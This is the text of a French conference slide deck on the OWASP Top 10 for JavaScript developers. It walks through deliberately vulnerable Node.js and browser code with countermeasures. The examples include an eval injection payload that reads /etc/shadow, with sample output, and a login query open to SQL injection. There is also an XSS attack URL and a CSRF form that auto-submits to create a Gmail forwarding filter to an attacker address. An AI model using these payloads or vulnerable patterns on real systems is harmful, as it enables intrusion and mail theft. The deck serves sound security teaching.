SlideShare a Scribd company logo
1 of 96
Download to read offline
OWASP	
  Top	
  10	
  2010	
  
                            pour	
  le	
  développeur	
  JavaScript

            Sébas;en	
  Gioria
            OWASP	
  France	
  Leader	
  -­‐	
  OWASP	
  Global	
  Educa;on	
  CommiDee
            Confoo.ca	
  -­‐	
  27	
  Février	
  2013	
  -­‐	
  Montréal	
  -­‐	
  Canada




Saturday, March 2, 13
http://www.google.fr/#q=sebastien gioria
         ‣Consultant Indépendant en Sécurité Applicative
         ‣OWASP France Leader & Founder -
         Evangéliste

         ‣OWASP Global Education Comittee
         Member (sebastien.gioria@owasp.org)

          Twitter :@SPoint




Saturday, March 2, 13              2
O-­‐ou-­‐a-­‐ss-­‐pe?


        • OWASP	
  =	
  Open	
  Web	
  Applica6on	
  Security	
  Project
              – Il	
  y	
  a	
  le	
  mot	
  “web”	
  mais	
  en	
  fait	
  …
        • Mission:
              – Global,	
  ouvert,	
  non	
  lucra6f,	
  indépendant.
        • Communauté	
  OWASP:
              – 30,000	
  abonnés	
  aux	
  listes	
  de	
  diffusion	
  
              – 200	
  sec6ons	
  régionales	
  ac6ves	
  dans	
  70	
  pays
              – 1’600	
  membres	
  officiels,	
  56	
  entreprises	
  partenaires
              – 69	
  ins6tu6ons	
  académiques

Saturday, March 2, 13
OWASP	
  Canada


        • Sec6ons	
  OWASP	
  au	
  Canada:
              – Alberta:	
  Edmonton	
  &	
  Lethbridge
              – Bri6sh	
  Columbia:	
  Okanagan	
  &	
  Vancouver
              – Manitoba:	
  Winnipeg
              – New	
  Brunswick:	
  New	
  Brunswick
              – Ontario:	
  Niagara,	
  Toronto
              – Quebec:	
  Montréal,	
  Obawa,	
  Quebec	
  city




Saturday, March 2, 13
5

Saturday, March 2, 13
Que	
  se	
  passe-­‐t-­‐il	
  ?	
  

       var http = require('http');
       http.createServer(function (request, response) {
           if (request.method === 'POST') {
       ! var data = '';
       ! request.addListener('data', function(chunk) { data += chunk; });
       ! request.addListener('end', function() {
       !    var stockQuery = eval("(" + data + ")");
       !    var price = getStockPrice(stockQuery.symbol);
       !    ...
       });




                                                                                               6

Saturday, March 2, 13
Que	
  se	
  passe-­‐t-­‐il	
  ?	
  

       var http = require('http');
       http.createServer(function (request, response) {
           if (request.method === 'POST') {
       ! var data = '';
       ! request.addListener('data', function(chunk) { data += chunk; });
       ! request.addListener('end', function() {
       !    var stockQuery = eval("(" + data + ")");
       !    var price = getStockPrice(stockQuery.symbol);
       !    ...
       });




                                                                                               6

Saturday, March 2, 13
Que	
  se	
  passe-­‐t-­‐il	
  ?	
  

       var http = require('http');
       http.createServer(function (request, response) {
           if (request.method === 'POST') {
       ! var data = '';
       ! request.addListener('data', function(chunk) { data += chunk; });
       ! request.addListener('end', function() {
       !    var stockQuery = eval("(" + data + ")");
       !    var price = getStockPrice(stockQuery.symbol);
       !    ...
       });



          var fs = require('fs');
          return fs.readFileSync('/etc/shadow');




                                                                                               6

Saturday, March 2, 13
Que	
  se	
  passe-­‐t-­‐il	
  ?	
  

       var http = require('http');
       http.createServer(function (request, response) {
           if (request.method === 'POST') {
       ! var data = '';
       ! request.addListener('data', function(chunk) { data += chunk; });
       ! request.addListener('end', function() {
       !    var stockQuery = eval("(" + data + ")");
       !    var price = getStockPrice(stockQuery.symbol);
       !    ...
       });



          var fs = require('fs');
          return fs.readFileSync('/etc/shadow');




                                                                                               6

Saturday, March 2, 13
Que	
  se	
  passe-­‐t-­‐il	
  ?	
  

       var http = require('http');
       http.createServer(function (request, response) {
           if (request.method === 'POST') {
       ! var data = '';
       ! request.addListener('data', function(chunk) { data += chunk; });
       ! request.addListener('end', function() {
       !    var stockQuery = eval("(" + data + ")");
       !    var price = getStockPrice(stockQuery.symbol);
       !    ...
       });



          var fs = require('fs');
          return fs.readFileSync('/etc/shadow');




 root:$6$enEZGERdwP$hN4bR9BJd7JVQ/OKDF354DFfdg’DFG.4.OKs2HE/BD7qqQPWpvFe5TCJeblSUKZFswLq0P0:15293:0:99999:7:::
 daemon:*:14743:0:99999:7:::
 bin:*:14743:0:99999:7:::
 sys:*:14743:0:99999:7:::
 spoint:$6$454FDfd$fBXQtwOtNQ71OEMj78uxidxLthoedggioerjgoeirg34FDVDFVoqv9ulQ1W2At6MFT0/1VfAAb6G.lFr.qYhSMaMnz1:15293:0:99999:7:::
 landscape:*:15293:0:99999:7:::
 bind:*:15293:0:99999:7:::
 ntpd:*:15293:0:99999:7:::
 sshd:*:15293:0:99999:7:::
 mysql:!:15350:0:99999:7:::

                                                                                                                                    6

Saturday, March 2, 13
Que	
  se	
  passe-­‐t-­‐il	
  ?	
  

       var http = require('http');
       http.createServer(function (request, response) {
           if (request.method === 'POST') {
       ! var data = '';
       ! request.addListener('data', function(chunk) { data += chunk; });
       ! request.addListener('end', function() {
       !    var stockQuery = eval("(" + data + ")");
       !    var price = getStockPrice(stockQuery.symbol);
       !    ...
       });




                                                                                               6

Saturday, March 2, 13
Que	
  se	
  passe-­‐t-­‐il



         app.post('/login',	
  function(req,	
  res){
         	
  	
  	
  	
  client.query('SELECT	
  *	
  FROM	
  users	
  WHERE	
  username="'	
  +	
  req.body.login	
  +	
  '"	
  AND	
  password="'	
  +
                                                                               	
  Hash.sha1(req.body.password)	
  +	
  '"',
         	
  	
  	
  	
  	
  	
  	
  	
  function	
  (err,	
  results,	
  fields)	
  {
         	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  if	
  (err)	
  {
         	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  throw	
  err;
         	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  }
         	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  if	
  (results[0])	
  {
         	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  req.session.userInfo	
  =	
  results[0];
         	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  req.session.is_logged_in	
  =	
  true;
         	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  res.render('site/start',	
  {
         	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  title:	
  'News'
         	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  });
         	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  }
         	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  else	
  {
         	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  res.redirect('/');
         	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  }
         	
  	
  	
  	
  	
  	
  	
  	
  }
         	
  	
  	
  	
  );
         });




                                                                                                                                                           7

Saturday, March 2, 13
8

Saturday, March 2, 13
8

Saturday, March 2, 13
8

Saturday, March 2, 13
8

Saturday, March 2, 13
8

Saturday, March 2, 13
8

Saturday, March 2, 13
8

Saturday, March 2, 13
8

Saturday, March 2, 13
Contre-­‐mesure


     ★Valider les données
     ★Utiliser les mécanismes des requêtes paramétrées
             quand elles sont disponibles
          client.query('SELECT * FROM users WHERE   username=?', [username],   ...)




     ★Minimiser les privilèges des utilisateurs
     ★Input validation Cheat Sheet :
       ★https://www.owasp.org/index.php/
                        Input_Validation_Cheat_Sheet
                                                                                      9

Saturday, March 2, 13
A3:	
  Mauvaise	
  ges;on	
             A4:Référence	
  directe	
  
                                      A2:	
  Cross	
  Site	
  
A1:	
  Injec;on                                                      des	
  sessions	
  et	
  de	
           non	
  sécurisée	
  à	
  un	
  
                                      Scrip;ng	
  (XSS)
                                                                     l’authen;fica;on                         objet


                                                                                                             A8:	
  Mauvaise	
  
A5:	
  Cross	
  Site	
  Request	
     A6:	
  Mauvaise	
              A7:	
  Mauvais	
  stockage	
  
                                                                                                             restric;on	
  d’accès	
  à	
  
Forgery	
  (CSRF)	
                   configura;on	
  sécurité        cryptographique
                                                                                                             une	
  URL



                                      A9:	
  Protec;on	
  
                                                                     A10:	
  	
  Redirec;ons	
  	
  et	
  
                                      insuffisante	
  lors	
  du	
  
                                                                     transferts	
  non	
  validés
                                      transport	
  des	
  données


                                 hDp://www.owasp.org/index.php/Top_10


Saturday, March 2, 13
A3:	
  Mauvaise	
  ges;on	
             A4:Référence	
  directe	
  
                                      A2:	
  Cross	
  Site	
  
A1:	
  Injec;on                                                      des	
  sessions	
  et	
  de	
           non	
  sécurisée	
  à	
  un	
  
                                      Scrip;ng	
  (XSS)
                                                                     l’authen;fica;on                         objet


                                                                                                             A8:	
  Mauvaise	
  
A5:	
  Cross	
  Site	
  Request	
     A6:	
  Mauvaise	
              A7:	
  Mauvais	
  stockage	
  
                                                                                                             restric;on	
  d’accès	
  à	
  
Forgery	
  (CSRF)	
                   configura;on	
  sécurité        cryptographique
                                                                                                             une	
  URL



                                      A9:	
  Protec;on	
  
                                                                     A10:	
  	
  Redirec;ons	
  	
  et	
  
                                      insuffisante	
  lors	
  du	
  
                                                                     transferts	
  non	
  validés
                                      transport	
  des	
  données


                                 hDp://www.owasp.org/index.php/Top_10


Saturday, March 2, 13
A3:	
  Mauvaise	
  ges;on	
             A4:Référence	
  directe	
  
                                      A2:	
  Cross	
  Site	
  
A1:	
  Injec;on                                                      des	
  sessions	
  et	
  de	
           non	
  sécurisée	
  à	
  un	
  
                                      Scrip;ng	
  (XSS)
                                                                     l’authen;fica;on                         objet


                                                                                                             A8:	
  Mauvaise	
  
A5:	
  Cross	
  Site	
  Request	
     A6:	
  Mauvaise	
              A7:	
  Mauvais	
  stockage	
  
                                                                                                             restric;on	
  d’accès	
  à	
  
Forgery	
  (CSRF)	
                   configura;on	
  sécurité        cryptographique
                                                                                                             une	
  URL



                                      A9:	
  Protec;on	
  
                                                                     A10:	
  	
  Redirec;ons	
  	
  et	
  
                                      insuffisante	
  lors	
  du	
  
                                                                     transferts	
  non	
  validés
                                      transport	
  des	
  données


                                 hDp://www.owasp.org/index.php/Top_10


Saturday, March 2, 13
11

Saturday, March 2, 13
<script>
     var url = window.location.href;
     var pos = url.indexOf("field-author=") + 6;
     var len = url.length;
     var title_string = url.substring(pos,len);
     document.write(unescape(title_string));
     </script>




       http://www.amazon.ca/s?ie=UTF8&search-type=ss&index=books-ca&field-author=%22%3E
       %3Cscript%3Ealert(%2
       2XSS%20BY%20Fugitif%22)%3C/script%3E




                                                                                          12

Saturday, March 2, 13
<script>
     var url = window.location.href;
     var pos = url.indexOf("field-author=") + 6;
     var len = url.length;
     var title_string = url.substring(pos,len);
     document.write(unescape(title_string));
     </script>




       http://www.amazon.ca/s?ie=UTF8&search-type=ss&index=books-ca&field-author=%22%3E
       %3Cscript%3Ealert(%2
       2XSS%20BY%20Fugitif%22)%3C/script%3E




                                                                                          12

Saturday, March 2, 13
13

Saturday, March 2, 13
Contre-­‐Mesures



        ★Valider	
  les	
  données
        ★Encoder	
  les	
  données	
  de	
  sor6e
        ★OWASP	
  XSS	
  	
  Cheat	
  Sheet
         ★hbps://www.owasp.org/index.php/
                        XSS_(Cross_Site_Scrip6ng)_Preven6on_Cheat
                        _Sheet




                                                                  14

Saturday, March 2, 13
A3:	
  Mauvaise	
  ges;on	
             A4:Référence	
  directe	
  
                                          A2:	
  Cross	
  Site	
  
    A1:	
  Injec;on                                                      des	
  sessions	
  et	
  de	
           non	
  sécurisée	
  à	
  un	
  
                                          Scrip;ng	
  (XSS)
                                                                         l’authen;fica;on                         objet


                                                                                                                 A8:	
  Mauvaise	
  
    A5:	
  Cross	
  Site	
  Request	
     A6:	
  Mauvaise	
              A7:	
  Mauvais	
  stockage	
  
                                                                                                                 restric;on	
  d’accès	
  à	
  
    Forgery	
  (CSRF)	
                   configura;on	
  sécurité        cryptographique
                                                                                                                 une	
  URL



                                          A9:	
  Protec;on	
  
                                                                         A10:	
  	
  Redirec;ons	
  	
  et	
  
                                          insuffisante	
  lors	
  du	
  
                                                                         transferts	
  non	
  validés
                                          transport	
  des	
  données


                                     hDp://www.owasp.org/index.php/Top_10


Saturday, March 2, 13
A3:	
  Mauvaise	
  ges;on	
             A4:Référence	
  directe	
  
                                          A2:	
  Cross	
  Site	
  
    A1:	
  Injec;on                                                      des	
  sessions	
  et	
  de	
           non	
  sécurisée	
  à	
  un	
  
                                          Scrip;ng	
  (XSS)
                                                                         l’authen;fica;on                         objet


                                                                                                                 A8:	
  Mauvaise	
  
    A5:	
  Cross	
  Site	
  Request	
     A6:	
  Mauvaise	
              A7:	
  Mauvais	
  stockage	
  
                                                                                                                 restric;on	
  d’accès	
  à	
  
    Forgery	
  (CSRF)	
                   configura;on	
  sécurité        cryptographique
                                                                                                                 une	
  URL



                                          A9:	
  Protec;on	
  
                                                                         A10:	
  	
  Redirec;ons	
  	
  et	
  
                                          insuffisante	
  lors	
  du	
  
                                                                         transferts	
  non	
  validés
                                          transport	
  des	
  données


                                     hDp://www.owasp.org/index.php/Top_10


Saturday, March 2, 13
A3:	
  Mauvaise	
  ges;on	
             A4:Référence	
  directe	
  
                                          A2:	
  Cross	
  Site	
  
    A1:	
  Injec;on                                                      des	
  sessions	
  et	
  de	
           non	
  sécurisée	
  à	
  un	
  
                                          Scrip;ng	
  (XSS)
                                                                         l’authen;fica;on                         objet


                                                                                                                 A8:	
  Mauvaise	
  
    A5:	
  Cross	
  Site	
  Request	
     A6:	
  Mauvaise	
              A7:	
  Mauvais	
  stockage	
  
                                                                                                                 restric;on	
  d’accès	
  à	
  
    Forgery	
  (CSRF)	
                   configura;on	
  sécurité        cryptographique
                                                                                                                 une	
  URL



                                          A9:	
  Protec;on	
  
                                                                         A10:	
  	
  Redirec;ons	
  	
  et	
  
                                          insuffisante	
  lors	
  du	
  
                                                                         transferts	
  non	
  validés
                                          transport	
  des	
  données


                                     hDp://www.owasp.org/index.php/Top_10


Saturday, March 2, 13
Saturday, March 2, 13
17

Saturday, March 2, 13
var users = [
  {nom: "tom", prenom: "cat", adresse:{rue:"avenue victor hugo", num:
  "18", cp:"06000", ville:"NICE", login:"tom", pass: "4tom"}},
  {nom: "you", prenom: "tube", adresse:{rue:"rue delille", num: "23",
  cp:"75000", ville:"PARIS", login:"java", pass: "you"}},
  {nom: "rain", prenom: "bow", adresse:{rue:"impasse toulouse lautrec",
  num: "5", cp:"77500", ville:"CHELLES", login:"snow", pass: "cat"}}
  ];




                                                                          17

Saturday, March 2, 13
var users = [
  {nom: "tom", prenom: "cat", adresse:{rue:"avenue victor hugo", num:
  "18", cp:"06000", ville:"NICE", login:"tom", pass: "4tom"}},
  {nom: "you", prenom: "tube", adresse:{rue:"rue delille", num: "23",
  cp:"75000", ville:"PARIS", login:"java", pass: "you"}},
  {nom: "rain", prenom: "bow", adresse:{rue:"impasse toulouse lautrec",
  num: "5", cp:"77500", ville:"CHELLES", login:"snow", pass: "cat"}}
  ];



  function authenticate(user, passwd) {
       authentifie = false ;
       for(iu in users){
            if(users[iu].login == user && users[iu].pass == pass){
                  authentifie = true ;
                  break;
            }
       }
  }




                                                                          17

Saturday, March 2, 13
17

Saturday, March 2, 13
Contre-­‐Mesure



                ★Ne	
  pas	
  mebre	
  d’authen6fica6on	
  coté	
  client
                ★Ne	
  jamais	
  mebre	
  d’ID	
  de	
  session	
  dans	
  l’URL
                ★U6liser	
  des	
  générateurs	
  d’ID	
  de	
  session	
  sur	
  (pas	
  
                        le	
  sien	
  !)
                         ★Longueur	
  suffisante
                         ★Aléa	
  suffisant
                ★Chiffrer	
  le	
  transport	
  de	
  l’ID	
  de	
  session	
  =>	
  TLS/SSL
                ★Regénérer	
  des	
  ID	
  de	
  session	
  apres	
  le	
  login	
  et	
  le	
  
                        logout

                                                                                                   18

Saturday, March 2, 13
A3:	
  Mauvaise	
  ges;on	
             A4:Référence	
  directe	
  
                                         A2:	
  Cross	
  Site	
  
   A1:	
  Injec;on                                                      des	
  sessions	
  et	
  de	
           non	
  sécurisée	
  à	
  un	
  
                                         Scrip;ng	
  (XSS)
                                                                        l’authen;fica;on                         objet


                                                                                                                A8:	
  Mauvaise	
  
   A5:	
  Cross	
  Site	
  Request	
     A6:	
  Mauvaise	
              A7:	
  Mauvais	
  stockage	
  
                                                                                                                restric;on	
  d’accès	
  à	
  
   Forgery	
  (CSRF)	
                   configura;on	
  sécurité        cryptographique
                                                                                                                une	
  URL



                                         A9:	
  Protec;on	
  
                                                                        A10:	
  	
  Redirec;ons	
  	
  et	
  
                                         insuffisante	
  lors	
  du	
  
                                                                        transferts	
  non	
  validés
                                         transport	
  des	
  données


                                    hDp://www.owasp.org/index.php/Top_10


Saturday, March 2, 13
A3:	
  Mauvaise	
  ges;on	
             A4:Référence	
  directe	
  
                                         A2:	
  Cross	
  Site	
  
   A1:	
  Injec;on                                                      des	
  sessions	
  et	
  de	
           non	
  sécurisée	
  à	
  un	
  
                                         Scrip;ng	
  (XSS)
                                                                        l’authen;fica;on                         objet


                                                                                                                A8:	
  Mauvaise	
  
   A5:	
  Cross	
  Site	
  Request	
     A6:	
  Mauvaise	
              A7:	
  Mauvais	
  stockage	
  
                                                                                                                restric;on	
  d’accès	
  à	
  
   Forgery	
  (CSRF)	
                   configura;on	
  sécurité        cryptographique
                                                                                                                une	
  URL



                                         A9:	
  Protec;on	
  
                                                                        A10:	
  	
  Redirec;ons	
  	
  et	
  
                                         insuffisante	
  lors	
  du	
  
                                                                        transferts	
  non	
  validés
                                         transport	
  des	
  données


                                    hDp://www.owasp.org/index.php/Top_10


Saturday, March 2, 13
A3:	
  Mauvaise	
  ges;on	
             A4:Référence	
  directe	
  
                                         A2:	
  Cross	
  Site	
  
   A1:	
  Injec;on                                                      des	
  sessions	
  et	
  de	
           non	
  sécurisée	
  à	
  un	
  
                                         Scrip;ng	
  (XSS)
                                                                        l’authen;fica;on                         objet


                                                                                                                A8:	
  Mauvaise	
  
   A5:	
  Cross	
  Site	
  Request	
     A6:	
  Mauvaise	
              A7:	
  Mauvais	
  stockage	
  
                                                                                                                restric;on	
  d’accès	
  à	
  
   Forgery	
  (CSRF)	
                   configura;on	
  sécurité        cryptographique
                                                                                                                une	
  URL



                                         A9:	
  Protec;on	
  
                                                                        A10:	
  	
  Redirec;ons	
  	
  et	
  
                                         insuffisante	
  lors	
  du	
  
                                                                        transferts	
  non	
  validés
                                         transport	
  des	
  données


                                    hDp://www.owasp.org/index.php/Top_10


Saturday, March 2, 13
20

Saturday, March 2, 13
20

Saturday, March 2, 13
{"d":{"__type":"Customer:#Web","Address":"3 Childers St","CustomerID":
          3,"Email":"brucec@aol.com","FirstName":"Bruce","Postcode":"3000","State":"VIC","Suburb":
          "Melbourne"}}




                                                                                            20

Saturday, March 2, 13
21

Saturday, March 2, 13
21

Saturday, March 2, 13
{"d":{"__type":"Customer:#Web","Address":"12/78 Burbank Lane","CustomerID":
         4,"Email":"janedoe@hotmail.com","FirstName":"Jane","Postcode":"4000","State":"QLD","Subu
         rb":"Brisbane"}}




                                                                                           21

Saturday, March 2, 13
Contre-­‐mesure

      customerID	
  =	
  1A530637289A03B07199A44E8D531427                                           customerID	
  =	
  3



                                 Indirect Reference                          Direct
                                                                           Reference                                   Web Service



                                                                                                                           Database



                                                                                                                           Mainframe

                        User                                  Access Reference
                                                                    Map
                                                                                                                       File System

                                                      Indirect Reference               Direct Reference


                                                                                                                             Etc…




      customerID	
  =	
  1A530637289A03B07199A44E8D531427
                                                                                              customerID	
  =	
  3                     22

Saturday, March 2, 13
Contre-­‐Mesure



        ★Ne	
  pas	
  exposer	
  de	
  clefs	
  de	
  base
        ★Mebre	
  en	
  place	
  des	
  contrôles	
  d’accès	
  serveurs
        ★Mebre	
  en	
  place	
  les	
  tables	
  de	
  références	
  d’accès




                                                                                23

Saturday, March 2, 13
A3:	
  Mauvaise	
  ges;on	
             A4:Référence	
  directe	
  
                                         A2:	
  Cross	
  Site	
  
   A1:	
  Injec;on                                                      des	
  sessions	
  et	
  de	
           non	
  sécurisée	
  à	
  un	
  
                                         Scrip;ng	
  (XSS)
                                                                        l’authen;fica;on                         objet


                                                                                                                A8:	
  Mauvaise	
  
   A5:	
  Cross	
  Site	
  Request	
     A6:	
  Mauvaise	
              A7:	
  Mauvais	
  stockage	
  
                                                                                                                restric;on	
  d’accès	
  à	
  
   Forgery	
  (CSRF)	
                   configura;on	
  sécurité        cryptographique
                                                                                                                une	
  URL



                                         A9:	
  Protec;on	
  
                                                                        A10:	
  	
  Redirec;ons	
  	
  et	
  
                                         insuffisante	
  lors	
  du	
  
                                                                        transferts	
  non	
  validés
                                         transport	
  des	
  données


                                    hDp://www.owasp.org/index.php/Top_10

Saturday, March 2, 13
A3:	
  Mauvaise	
  ges;on	
             A4:Référence	
  directe	
  
                                         A2:	
  Cross	
  Site	
  
   A1:	
  Injec;on                                                      des	
  sessions	
  et	
  de	
           non	
  sécurisée	
  à	
  un	
  
                                         Scrip;ng	
  (XSS)
                                                                        l’authen;fica;on                         objet


                                                                                                                A8:	
  Mauvaise	
  
   A5:	
  Cross	
  Site	
  Request	
     A6:	
  Mauvaise	
              A7:	
  Mauvais	
  stockage	
  
                                                                                                                restric;on	
  d’accès	
  à	
  
   Forgery	
  (CSRF)	
                   configura;on	
  sécurité        cryptographique
                                                                                                                une	
  URL



                                         A9:	
  Protec;on	
  
                                                                        A10:	
  	
  Redirec;ons	
  	
  et	
  
                                         insuffisante	
  lors	
  du	
  
                                                                        transferts	
  non	
  validés
                                         transport	
  des	
  données


                                    hDp://www.owasp.org/index.php/Top_10

Saturday, March 2, 13
A3:	
  Mauvaise	
  ges;on	
             A4:Référence	
  directe	
  
                                         A2:	
  Cross	
  Site	
  
   A1:	
  Injec;on                                                      des	
  sessions	
  et	
  de	
           non	
  sécurisée	
  à	
  un	
  
                                         Scrip;ng	
  (XSS)
                                                                        l’authen;fica;on                         objet


                                                                                                                A8:	
  Mauvaise	
  
   A5:	
  Cross	
  Site	
  Request	
     A6:	
  Mauvaise	
              A7:	
  Mauvais	
  stockage	
  
                                                                                                                restric;on	
  d’accès	
  à	
  
   Forgery	
  (CSRF)	
                   configura;on	
  sécurité        cryptographique
                                                                                                                une	
  URL



                                         A9:	
  Protec;on	
  
                                                                        A10:	
  	
  Redirec;ons	
  	
  et	
  
                                         insuffisante	
  lors	
  du	
  
                                                                        transferts	
  non	
  validés
                                         transport	
  des	
  données


                                    hDp://www.owasp.org/index.php/Top_10

Saturday, March 2, 13
25

Saturday, March 2, 13
1	
  -­‐	
  On	
  se	
  loggue	
  sur	
  GMAIL   26

Saturday, March 2, 13
Bien	
  noter	
  les	
  filtres	
  existants
                                                           27

Saturday, March 2, 13
2	
  -­‐	
  On	
  accede	
  à	
  un	
  site	
  Web	
  contenant	
  le	
  
          code	
  suivant	
  :




                                                                                      28

Saturday, March 2, 13
2	
  -­‐	
  On	
  accede	
  à	
  un	
  site	
  Web	
  contenant	
  le	
  
          code	
  suivant	
  :
<form method="POST" action="https://mail.google.com/mail/h/ewt1jmuj4ddv/?v=prf"
enctype="multipart/form-data">
! <input type="hidden" name="cf2_emc" value="true"/>
! <input type="hidden" name="cf2_email" value="eagle@ckers.fr"/>
! <input type="hidden" name="cf1_from" value="boss@company.com"/>
! <input type="hidden" name="cf1_to" value=""/>
! <input type="hidden" name="cf1_subj" value=""/>
! <input type="hidden" name="cf1_has" value=""/>
! <input type="hidden" name="cf1_hasnot" value=""/>
! <input type="hidden" name="cf1_attach" value="true"/>
! <input type="hidden" name="tfi" value=""/>
! <input type="hidden" name="s" value="z"/>
! <input type="hidden" name="irf" value="on"/>
! <input type="hidden" name="nvp_bu_cftb" value="Create Filter"/>
</form>
<script>
! document.forms[0].submit();
</script>
                                                                                      28

Saturday, March 2, 13
3	
  -­‐	
  Le	
  filtre	
  est	
  rajouté




                                                         29

Saturday, March 2, 13
Contre-­‐Mesures




    ★Préferer	
  POST	
  a	
  GET
    ★Supprimer	
  toutes	
  les	
  XSS
    ★Mebre	
  des	
  sessions	
  avec	
  expira6on	
  très	
  faible
    ★Rajouter	
  des	
  tokens	
  aléatoires	
  dans	
  les	
  
    requetes




                                                                 30

Saturday, March 2, 13
A3:	
  Mauvaise	
  ges;on	
             A4:Référence	
  directe	
  
                                      A2:	
  Cross	
  Site	
  
A1:	
  Injec;on                                                      des	
  sessions	
  et	
  de	
           non	
  sécurisée	
  à	
  un	
  
                                      Scrip;ng	
  (XSS)
                                                                     l’authen;fica;on                         objet


                                                                                                             A8:	
  Mauvaise	
  
A5:	
  Cross	
  Site	
  Request	
     A6:	
  Mauvaise	
              A7:	
  Mauvais	
  stockage	
  
                                                                                                             restric;on	
  d’accès	
  à	
  
Forgery	
  (CSRF)	
                   configura;on	
  sécurité        cryptographique
                                                                                                             une	
  URL



                                      A9:	
  Protec;on	
  
                                                                     A10:	
  	
  Redirec;ons	
  	
  et	
  
                                      insuffisante	
  lors	
  du	
  
                                                                     transferts	
  non	
  validés
                                      transport	
  des	
  données


                                 hDp://www.owasp.org/index.php/Top_10


Saturday, March 2, 13
A3:	
  Mauvaise	
  ges;on	
             A4:Référence	
  directe	
  
                                      A2:	
  Cross	
  Site	
  
A1:	
  Injec;on                                                      des	
  sessions	
  et	
  de	
           non	
  sécurisée	
  à	
  un	
  
                                      Scrip;ng	
  (XSS)
                                                                     l’authen;fica;on                         objet


                                                                                                             A8:	
  Mauvaise	
  
A5:	
  Cross	
  Site	
  Request	
     A6:	
  Mauvaise	
              A7:	
  Mauvais	
  stockage	
  
                                                                                                             restric;on	
  d’accès	
  à	
  
Forgery	
  (CSRF)	
                   configura;on	
  sécurité        cryptographique
                                                                                                             une	
  URL



                                      A9:	
  Protec;on	
  
                                                                     A10:	
  	
  Redirec;ons	
  	
  et	
  
                                      insuffisante	
  lors	
  du	
  
                                                                     transferts	
  non	
  validés
                                      transport	
  des	
  données


                                 hDp://www.owasp.org/index.php/Top_10


Saturday, March 2, 13
A3:	
  Mauvaise	
  ges;on	
             A4:Référence	
  directe	
  
                                      A2:	
  Cross	
  Site	
  
A1:	
  Injec;on                                                      des	
  sessions	
  et	
  de	
           non	
  sécurisée	
  à	
  un	
  
                                      Scrip;ng	
  (XSS)
                                                                     l’authen;fica;on                         objet


                                                                                                             A8:	
  Mauvaise	
  
A5:	
  Cross	
  Site	
  Request	
     A6:	
  Mauvaise	
              A7:	
  Mauvais	
  stockage	
  
                                                                                                             restric;on	
  d’accès	
  à	
  
Forgery	
  (CSRF)	
                   configura;on	
  sécurité        cryptographique
                                                                                                             une	
  URL



                                      A9:	
  Protec;on	
  
                                                                     A10:	
  	
  Redirec;ons	
  	
  et	
  
                                      insuffisante	
  lors	
  du	
  
                                                                     transferts	
  non	
  validés
                                      transport	
  des	
  données


                                 hDp://www.owasp.org/index.php/Top_10


Saturday, March 2, 13
www.example.com                     api.ckers.fr



                                                   si ble
                                              os
                                          Imp




                                                                           32

Saturday, March 2, 13
CORS	
  ?
                        www.example.com                         api.ckers.fr



                                                            e
                                                   ss ibl
                                              Po




                                                                               33

Saturday, March 2, 13
CORS	
  ?
                        www.example.com                            api.ckers.fr



                                                               e
                                                      ss ibl
                                                 Po




                                          Access-Control-Allow-From: *
                                          Access-Control-Allow-Origin:33 *
Saturday, March 2, 13
Contre-­‐Mesure



                ★Toujours	
  u6liser	
  des	
  ou6ls/frameworks	
  à	
  jour
                ★Aben6on	
  à	
  la	
  configura6on	
  des	
  serveurs	
  Web
                ★Revoir	
  la	
  configura6on	
  des	
  librairies	
  et	
  
                 modules	
  (même	
  le	
  plus	
  pe6t	
  morceau	
  de	
  
                 code)
                ★Ne	
  pas	
  mebre	
  des	
  permissions	
  trop	
  “laxistes”	
  
                 cf	
  
                  •Access-Control-Allow-From
                  •Access-Control-Allow-Origin
                                                                                      34

Saturday, March 2, 13
A3:	
  Mauvaise	
  ges;on	
             A4:Référence	
  directe	
  
                                      A2:	
  Cross	
  Site	
  
A1:	
  Injec;on                                                      des	
  sessions	
  et	
  de	
           non	
  sécurisée	
  à	
  un	
  
                                      Scrip;ng	
  (XSS)
                                                                     l’authen;fica;on                         objet


                                                                                                             A8:	
  Mauvaise	
  
A5:	
  Cross	
  Site	
  Request	
     A6:	
  Mauvaise	
              A7:	
  Mauvais	
  stockage	
  
                                                                                                             restric;on	
  d’accès	
  à	
  
Forgery	
  (CSRF)	
                   configura;on	
  sécurité        cryptographique
                                                                                                             une	
  URL



                                      A9:	
  Protec;on	
  
                                                                     A10:	
  	
  Redirec;ons	
  	
  et	
  
                                      insuffisante	
  lors	
  du	
  
                                                                     transferts	
  non	
  validés
                                      transport	
  des	
  données


                                 hDp://www.owasp.org/index.php/Top_10


Saturday, March 2, 13
A3:	
  Mauvaise	
  ges;on	
             A4:Référence	
  directe	
  
                                      A2:	
  Cross	
  Site	
  
A1:	
  Injec;on                                                      des	
  sessions	
  et	
  de	
           non	
  sécurisée	
  à	
  un	
  
                                      Scrip;ng	
  (XSS)
                                                                     l’authen;fica;on                         objet


                                                                                                             A8:	
  Mauvaise	
  
A5:	
  Cross	
  Site	
  Request	
     A6:	
  Mauvaise	
              A7:	
  Mauvais	
  stockage	
  
                                                                                                             restric;on	
  d’accès	
  à	
  
Forgery	
  (CSRF)	
                   configura;on	
  sécurité        cryptographique
                                                                                                             une	
  URL



                                      A9:	
  Protec;on	
  
                                                                     A10:	
  	
  Redirec;ons	
  	
  et	
  
                                      insuffisante	
  lors	
  du	
  
                                                                     transferts	
  non	
  validés
                                      transport	
  des	
  données


                                 hDp://www.owasp.org/index.php/Top_10


Saturday, March 2, 13
A3:	
  Mauvaise	
  ges;on	
             A4:Référence	
  directe	
  
                                      A2:	
  Cross	
  Site	
  
A1:	
